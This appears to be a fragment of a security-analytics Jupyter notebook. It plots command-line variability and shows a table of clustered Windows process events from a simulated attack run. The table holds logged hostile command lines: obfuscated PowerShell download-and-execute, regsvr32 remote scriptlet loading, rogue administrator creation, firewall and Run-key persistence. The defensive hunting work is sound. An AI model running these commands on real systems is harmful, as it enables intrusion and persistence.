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TWfFvZ2/v2uTnny1/x18BdVFKPZRSD99TF6XUQyn18L3r7cLbu3YFpBG5Mg1JIiIiIiIiZeieJBERERERkTI0JImIiIiIiJShIUlERERERKQMDUkiIiIiIiJlaEgSEREREREpQ0OSiIiIiIhIGRqSREREREREytCQJCIiIiIiUoaGJBERERERkTI0JIlcwfz58+nduzd9+vThH//4xxX32759O927d6/EZJWvvC4WLFhAt27d6Nu3L3379mX58uVuSFnxyushKyuLYcOGERISwuOPP863337rhpQV72o97Nu3z/U+6Nu3L126dCE4ONhNSStWee+Hzz//nLCwMEJCQhg1ahSnT592Q8rKUV4XO3bswG63Y7fbmTBhAoWFhW5IWXnmzJlDZGTkZd//+uuv+cMf/kCvXr148sknf7U9XDRv3jz++te/VmIikZ/AiMhldu/ebR599FFTXFxszp8/b7p162YyMzMv2+/EiROmV69eplu3bm5IWTmupYtRo0aZjz/+2E0JK0d5PTidTtOjRw+zY8cOY4wx0dHRJioqyl1xK8y1/m4YY8y5c+dMnz59THp6eiWnrHjX0sOQIUPM9u3bjTHGvPzyy+bVV191R9QKV14X3377rbFarebQoUPGGGMWL15sXnjhBXfFrXBpaWmmQ4cOZvLkyZdtGzlypNmwYYMxxpgFCxbclP+NuOhqPZw+fdpMmTLFtG7d2sTGxrohnUj5tJIk8iMCAwN588038fT0JD8/H4fDQc2aNS/bb9q0aYwZM8YNCSvPtXSRkZHBG2+8gd1u5/nnn+fChQtuSltxyuvh888/p2bNmnTt2hWA0aNH84c//MFdcSvMtf5uALzxxhsEBATQvn37Sk5Z8a6lB6fT6VopOH/+PDVq1HBH1ApXXhdffPEFjRo1olmzZgB069aNLVu2uCtuhTp16hSvvfYao0ePvmxbcXEx6enp9OzZE4DQ0FBSUlIqO2KluFoPAFu3bqVp06b86U9/quRkItdOQ5LIFVSvXp3Y2Fj69OlDx44dadCgwSXb33zzTe6//37atGnjpoSV52pdFBYW4ufnxzPPPENycjKnT59m4cKFbkxbca7Ww5dffkn9+vWZOnUq/fv3Z8aMGVccHqq68n43AM6cOUNiYuJN/UeE8nqIjIxk2rRpdO7cmbS0NB599FE3Ja14V+uiadOmfPPNN+zfvx+ATZs2kZeX566oFWr69On85S9/4fbbb79sW0FBAbVr18bT0xMAHx8fjh8/XtkRK8XVegDo168fI0eOxMPDo5KTiVw7DUkiVzF27Fh27dpFTk4OiYmJru8fPHiQ9957j6eeesqN6SrXlbqoVasWS5YswdfXF09PTx577DF27NjhxqQV60o9lJSU8OGHHzJkyBCSk5Np3Lgxr7zyihuTVqwr9XDRO++8w0MPPYS3t7cb0lWeK/Xw3Xff8eyzzxIfH8+///1vhg4dyuTJk92YtOJdqYvbb7+dOXPm8NxzzxEWFsadd95J9erV3Zi0Yrz99ts0bNiQjh07/uh2YwwWi+WS7/3w65tBeT2IVBUakkR+RGZmJvv27QPg1ltvpUePHhw4cMC1PSUlhRMnThAWFsbIkSPJzc1l6NCh7opbocrr4uuvv2b16tWur40xrr+U3kzK68HHx4cmTZrQqlUrAIKDg/nss8/ckrUildfDRVu2bKF3796VHa/SlNfDwYMH8fLyonXr1gAMHjyYDz/80C1ZK1p5XTgcDu666y7efvtt1qxZg5+fH40bN3ZX3AqzceNGdu7cSd++fYmNjWXbtm3Mnj3btb1evXqcOXMGh8MBwIkTJ7jzzjvdFbfClNeDSFWhIUnkRxw7doxp06ZRVFREUVERW7dupV27dq7tY8eOZfPmzaxbt47Fixdz5513smLFCjcmrjjldVGjRg2io6PJzs7GGMPy5ct5+OGH3Zi4YpTXg7+/PydPnnRdUrRt2zZatmzprrgVprweoHRQ/vzzz/H393dTyopXXg9NmjThm2++ISsrCyi9B+PiAH2zKa8Li8XCY489xvHjxzHGEB8ff1MO0P/4xz/YsGED69atY+zYsXTv3p2pU6e6tlevXp327duzceNGANauXeu6h/FmUl4PIlWFhiSRH2Gz2QgKCqJfv36EhYXh7+9Pnz59GDFiBHv37nV3vEpVXhf16tXj+eef58knn6RXr14YY27Km3HL66FGjRq8/vrrTJs2jT59+rB79+6rPvq2qrqW342TJ09SvXp1vLy83Jy24pTXQ506dXj55ZcZP348drudNWvW3LR/TS+vi2rVqvH888/zxBNP0KtXL26//XYef/xxd8euNM8++yxbt24FYMaMGSQmJtK7d28++ugjxo8f7+Z0ladsDyJVgcUYY9wdQkRERERE5JdCK0kiIiIiIiJlaEgSEREREREpQ0OSiIiIiIhIGRqSREREREREytCQJCIiIiIiUoaGJBERqRALFixgy5YtAERGRrJ06dIf3a979+439NH6mZmZjBw5Ervdjt1uJzw8nI8++uiGvb6IiNz8PN0dQEREbk67d++mWbNmlX7esWPHMn78eNeHGqenpzNq1Ci2bt1K3bp1Kz2PiIhUPRqSRESkXLt372bu3Lk0atSIrKwsatSowSuvvOL6oNDCwkJOnDhBixYtmDdvHqtXryYjI4OoqCg8PDwA+OSTT3j00UfJy8ujefPmxMTEULNmzaue9/XXX+fdd9/Fw8ODe++9l+eeew4fHx+OHj3K1KlT+fbbb/Hx8cEYQ0hICKGhoZw4cYJz5865XiMgIIB58+a5crz//vvMmzcPp9NJzZo1mTVrFi1atGDLli0sWLAAp9NJrVq1mDJlCq1bt+avf/0re/bsITc3l/vuu4+5c+eyaNEi3nvvPZxOJ3fffTczZsygQYMGFfcvQEREKpcREREpx3/+8x/TokULk56ebowxZsWKFaZ///7mlVdeMWvXrjXGGFNUVGSCg4NNSkqKMcaY8PBws2nTJmOMMZMnTzYDBgww586dMyUlJaZ///4mOTnZGGNMt27dzGeffXbZOVevXm0GDx5sCgsLjTHGxMbGmscee8wYY8ygQYPM8uXLjTHGHD582LRp08asWbPGGGPM+vXrTfv27U2nTp3M2LFjTUJCgikoKDDGGHPixAnTrl078/nnnxtjjNm8ebN5/PHHzeHDh82DDz5ovvzyS2OMMWlpaaZTp07mzJkzJjY21vTs2dMUFxcbY4xJTk4248ePd329atUq88QTT9ywrkVExP20kiQiItekRYsWtG/fHoCwsDCef/55li5dSkZGBkuWLOGLL74gNzf3klWcsh566CFuvfVWAJo3b87Jkyever7U1FRCQ0Ndq03Dhw8nLi6OvLw8PvvsM/75z38C4Ovri9VqdR0XHBzMww8/zH//+1/S09NZs2YNixYt4q233uJ///sfzZs35/777wegR48e9OjRg+XLl2O1WmncuDEAHTt2pF69emRkZADwwAMP4OlZ+r/M999/n7179xIWFgaA0+nk/PnzP71QERH5xdKQJCIi1+Ti5WplTZw4kZo1a/LII48QFBRETk4OxpgfPf7ikAFgsViuuN9FTqcTi8VyydclJSV4eXkBXHL8xWyZmZkkJyczceJEHnzwQR588EHGjRtHREQEmzdvpmnTppe8pjGGAwcOXHaui9tKSkoALrks0Ol08sQTTzB06FAAioqK+Pbbb6/6s4iISNWip9uJiMg12b9/P/v37wfgrbfewt/fn08//ZSnn36a3r17A/Dpp5/icDiA0sHl4pBxPbp06cKaNWtcK1MJCQkEBARw22230bZtW5KSkgDIzs5m165dWCwW6tevT2JiIikpKa7XOXXqFMePH+f++++nTZs2ZGZmcujQIQC2bt3KM888Q8eOHfn3v/9NdnY2ALt27SInJ4c2bdpclqtz586sXr2as2fPAjB//nwmTZp03T+niIj88mglSURErkn9+vWZN28eX331FfXq1SMqKoodO3bw9NNPU7NmTWrXrk1AQABffvklUPpo71dffZXi4uJyXzs8PJxq1b7/u93EiRMZMmQIOTk5DBw4EKfTSZMmTZg7dy4Ac+bM4dlnn2XFihU0aNCA3/zmN9SoUYM6deqwbNkyYmJiiIqK4tZbb+WWW25h1KhRdOzYEYC5c+cyefJkHA4HtWvX5rXXXqNZs2bMmDGDMWPG4HA4qFGjBnFxcdx2222XZR04cCDHjx9n0KBBWCwWGjZsyCuvvHIjKhYRkV8IiynvegcREfnV2717Ny+88AIbNmxwdxQAFi1aRI8ePfD19eXMmTOEhISwZMkStzxyXEREbj5aSRIRkSqnadOm/OUvf6FatWo4HA5GjBihAUlERG4YrSSJiIiIiIiUoQc3iIiIiIiIlKEhSUREREREpAwNSSIiIiIiImVoSBIRERERESlDQ5KIiIiIiEgZGpJERERERETK+H+X8ZsMDFisAwAAAABJRU5ErkJggg==\n", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Looking at the variability of commandlines and process image paths\n", "import seaborn as sns\n", "sns.set(style=\"darkgrid\")\n", "\n", "proc_plot = sns.catplot(y=\"processName\", x=\"commandlineTokensFull\", \n", " data=feature_procs.sort_values('processName'),\n", " kind='box', height=10)\n", "proc_plot.fig.suptitle('Variability of Commandline Tokens', x=1, y=1)\n", "\n", "proc_plot = sns.catplot(y=\"processName\", x=\"pathLogScore\", \n", " data=feature_procs.sort_values('processName'),\n", " kind='box', height=10, hue='isSystemSession')\n", "proc_plot.fig.suptitle('Variability of Path', x=1, y=1);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The top graph shows that, for a given process, some have a wide variability in their command line content while the majority have little or none. Looking at a couple of examples - like cmd.exe, powershell.exe, reg.exe, net.exe - we can recognize several common command line tools.\n", "\n", "The second graph shows processes by full process path content. We wouldn't normally expect to see variation here - as is the cast with most. There is also quite a lot of variance in the score making it a useful proxy feature for unique path name (this means that proc1.exe and proc2.exe that have the same commandline score won't get collapsed into the same cluster).\n", "\n", "Any process with a spread of values here means that we are seeing the same process name (but not necessarily the same file) is being run from different locations." ] }, { "cell_type": "code", "execution_count": 43, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "View the clustered data? y/ny\n" ] }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
TimeGeneratedLastEventTimeNewProcessNameCommandLineClusterSizecommandlineTokensFullpathScoreisSystemSession
2922019-01-15 04:23:43.1032019-01-15 04:45:24.523C:\\Windows\\System32\\taskhostw.exetaskhostw.exe SYSTEM1.023262True
2702019-01-15 04:28:01.5172019-01-15 04:28:33.090C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler2.0174895True
1332019-01-15 04:35:15.6732019-01-15 04:45:24.523C:\\Windows\\System32\\sppsvc.exeC:\\Windows\\system32\\sppsvc.exe1.052933True
1342019-01-15 04:35:16.0602019-01-15 04:45:24.523C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding1.083546True
2542019-01-15 04:42:25.4372019-01-15 05:12:25.403C:\\Windows\\System32\\MusNotification.exeC:\\Windows\\system32\\MusNotification.exe Display2.063826True
2562019-01-15 04:43:05.2402019-01-15 04:45:24.523C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe\"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\710dc858-9c96-4df...1.0186421True
3012019-01-15 04:44:37.1802019-01-15 04:45:24.523C:\\Windows\\System32\\cmd.exe\"cmd\"1.022570True
3562019-01-15 04:45:24.5232019-01-15 04:45:24.523C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe...1.0279108True
742019-01-15 05:15:03.0172019-01-15 04:45:24.523C:\\Windows\\System32\\dllhost.exeC:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}1.0123024True
752019-01-15 05:15:03.0472019-01-15 04:45:24.523C:\\Windows\\System32\\cmd.execmd.exe /c c:\\Diagnostics\\WindowsSimulateDetections.bat c:\\Diagnostics\\UserTmp1.0122570True
772019-01-15 05:15:03.2472019-01-15 05:15:11.260C:\\Windows\\System32\\cmd.execmd /c echo Any questions about the commands executed here then please contact one of2.0162570False
782019-01-15 05:15:03.2572019-01-15 04:45:24.523C:\\Windows\\System32\\cmd.execmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft...1.0212570False
802019-01-15 05:15:03.4102019-01-15 05:15:14.693C:\\Windows\\System32\\net1.exeC:\\Windows\\system32\\net1 user adm1nistrator Bob_testing /add7.0102638False
822019-01-15 05:15:03.5172019-01-15 04:45:24.523C:\\Windows\\System32\\net1.exeC:\\Windows\\system32\\net1 share TestShare=c:\\testshare /Grant:Users,Read1.0132638False
832019-01-15 05:15:03.5432019-01-15 04:45:24.523C:\\Windows\\System32\\Dism.exedism /online /enable-feature /featurename:File-Services /NoRestart1.0112659True
852019-01-15 05:15:03.8302019-01-15 05:15:19.447C:\\Windows\\System32\\net.exenet use q: \\\\MSTICAlertsWin1\\TestShare Bob_testing /User:adm1nistrator3.0122589False
862019-01-15 05:15:03.8502019-01-15 04:45:24.523C:\\Windows\\Temp\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\DismHost.exeC:\\Windows\\TEMP\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\dismhost.exe {D57BA872-53C0-424D-80AE-E4911...1.0154900True
872019-01-15 05:15:04.5072019-01-15 04:45:24.523C:\\Windows\\servicing\\TrustedInstaller.exeC:\\Windows\\servicing\\TrustedInstaller.exe1.054175True
942019-01-15 05:15:10.7532019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\regsvr32.exe.\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll1.0203399False
952019-01-15 05:15:10.8172019-01-15 05:15:14.453C:\\Windows\\System32\\svchost.exeC:\\Windows\\system32\\svchost.exe -k wsappx2.083040True
962019-01-15 05:15:11.1902019-01-15 05:15:14.453C:\\Windows\\System32\\win32calc.exe\"C:\\Windows\\System32\\win32calc.exe\"28.083100False
1222019-01-15 05:15:11.9472019-01-15 05:15:14.563C:\\Diagnostics\\UserTmp\\implant.exeimplant.exe k1117.033390False
1252019-01-15 05:15:12.1232019-01-15 05:15:14.157C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\"3.0212941False
1302019-01-15 05:15:12.3932019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...1.0253726False
1392019-01-15 05:15:12.8472019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -command \"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'...1.0363726False
1042019-01-15 05:15:12.9772019-01-15 05:15:19.583C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`C`li`en`t).DownloadFile('https://blah/png','go...2.0243726False
1062019-01-15 05:15:13.1002019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell.exe -c \"$a = 'Download'+'String'+\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\"...1.0683726False
1082019-01-15 05:15:13.2202019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\"{2}{0}{1}\"-f ':/','/past...1.0533726False
1102019-01-15 05:15:13.3372019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.execmd /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t...1.0462941False
1422019-01-15 05:15:15.2332019-01-15 05:15:14.770C:\\Windows\\System32\\whoami.exewhoami3.002907False
1492019-01-15 05:15:15.5202019-01-15 05:15:15.923C:\\Windows\\System32\\net.exenet group \"Domain Admins\" /domain2.082589False
1622019-01-15 05:15:16.0202019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.execmd /c C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\".\\powershell.e...1.0562941False
1632019-01-15 05:15:16.0672019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\netsh.exe.\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\users\\Bob\\appdata\\Ro...1.0183179False
462019-01-15 05:15:16.1672019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\reg.exe.\\reg not /domain:everything that /sid:shines is /krbtgt:golden !1.0162951False
472019-01-15 05:15:16.2772019-01-15 05:15:14.613C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"systeminfo && systeminfo\"23.0102941False
482019-01-15 05:15:16.3402019-01-15 05:15:14.293C:\\Diagnostics\\UserTmp\\rundll32.exe.\\rundll32 /C 12345.exe15.073391False
492019-01-15 05:15:16.3532019-01-15 05:15:16.520C:\\Diagnostics\\UserTmp\\12345.exe12345.exe3.012888False
562019-01-15 05:15:16.5632019-01-15 05:15:18.403C:\\Diagnostics\\UserTmp\\reg.exe.\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue3.0152951False
572019-01-15 05:15:16.6132019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\tsetup.1.exec:\\Diagnostics\\UserTmp\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetu...1.0403405False
592019-01-15 05:15:16.6772019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\netsh.exe.\\netsh.exe \"in (*.exe) do start # artificial commandline solely for purposes of triggering test\"1.0223179False
